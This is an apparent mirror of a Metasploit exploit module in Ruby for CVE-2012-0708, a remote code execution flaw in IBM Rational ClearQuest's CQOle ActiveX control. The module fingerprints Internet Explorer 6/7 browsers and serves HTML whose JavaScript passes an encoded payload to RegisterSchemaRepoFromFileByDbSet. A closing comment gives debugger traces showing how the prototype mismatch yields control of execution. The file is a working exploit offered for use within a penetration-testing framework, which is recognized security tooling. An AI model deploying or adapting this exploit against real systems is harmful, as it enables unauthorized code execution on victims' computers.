mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
43d65cc93a
Resolves conflicts: Gemfile data/js/detect/os.js modules/exploits/android/browser/webview_addjavascriptinterface.rb
159 lines
5.3 KiB
Ruby
159 lines
5.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
#include Msf::Exploit::Remote::BrowserAutopwn
|
|
#autopwn_info({
|
|
# :ua_name => HttpClients::IE,
|
|
# :ua_minver => "6.0",
|
|
# :ua_maxver => "7.0",
|
|
# :javascript => true,
|
|
# :os_name => OperatingSystems::Match::WINDOWS,
|
|
# :classid => "{94773112-72E8-11D0-A42E-00A024DED613}",
|
|
# :method => "RegisterSchemaRepoFromFileByDbSet",
|
|
# :rank => NormalRanking
|
|
#})
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "IBM Rational ClearQuest CQOle Remote Code Execution",
|
|
'Description' => %q{
|
|
This module exploits a function prototype mismatch on the CQOle ActiveX
|
|
control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which
|
|
allows reliable remote code execution when DEP isn't enabled.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Andrea Micalizzi aka rgod', # Vulnerability discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-0708' ],
|
|
[ 'BID', '53170' ],
|
|
[ 'OSVDB', '81443'],
|
|
[ 'ZDI', '12-113' ],
|
|
[ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ],
|
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/07/11/it-isnt-always-about-buffer-overflow' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'ExitFunction' => "process",
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# cqole.dll 7.1100.0.150
|
|
[ 'Automatic', {} ],
|
|
[ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "May 19 2012",
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def get_target(agent)
|
|
#If the user is already specified by the user, we'll just use that
|
|
return target if target.name != 'Automatic'
|
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
|
return targets[1] #IE 6 on Windows XP
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
|
return targets[1] #IE 7 on Windows XP
|
|
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
|
return targets[1] #IE 7 on Windows Vista
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
my_target = get_target(agent)
|
|
|
|
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
|
if my_target.nil?
|
|
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
|
|
object_id = rand_text_alpha(rand(8) + 4)
|
|
dbset_value = rand_text_alpha(rand(8) + 4)
|
|
var_payload = rand_text_alpha(rand(8) + 4)
|
|
|
|
html = <<-EOS
|
|
<html>
|
|
<body>
|
|
<object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
|
|
<script language="JavaScript">
|
|
var #{var_payload} = unescape("#{js_code}")
|
|
#{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
|
|
</script>
|
|
</body>
|
|
</html>
|
|
EOS
|
|
|
|
html = html.gsub(/^ {4}/, '')
|
|
|
|
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
|
|
* RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called:
|
|
|
|
Breakpoint 0 hit
|
|
eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
|
|
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
|
|
MFC80U!_AfxDispatchCall+0xe:
|
|
78371062 ffd0 call eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}
|
|
|
|
* RegisterSchemaRepoFromFile prototype (it is going to be executed):
|
|
|
|
.text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *)
|
|
|
|
his ret is: retn 4
|
|
|
|
* RegisterSchemaRepoFromFileByDbSet prototype (it should be executed):
|
|
|
|
.text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *)
|
|
|
|
his ret is: retn 8
|
|
|
|
* When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens:
|
|
|
|
0:000> p
|
|
eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c
|
|
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
|
MFC80U!_AfxDispatchCall+0x10:
|
|
78371064 c3 ret
|
|
0:000> dd esp
|
|
0013e208 001dcff4 7835f5d2 fffffffe 78336a3a
|
|
|
|
ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on
|
|
the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is
|
|
disabled
|
|
|
|
=end
|